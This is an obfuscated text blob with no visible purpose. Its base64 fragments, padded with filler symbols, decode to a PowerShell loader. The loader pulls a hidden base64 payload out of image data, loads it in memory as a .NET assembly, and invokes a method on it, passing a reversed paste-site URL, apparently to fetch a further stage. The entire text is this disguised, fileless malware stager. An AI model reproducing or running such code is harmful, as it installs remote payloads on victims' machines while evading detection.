⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ 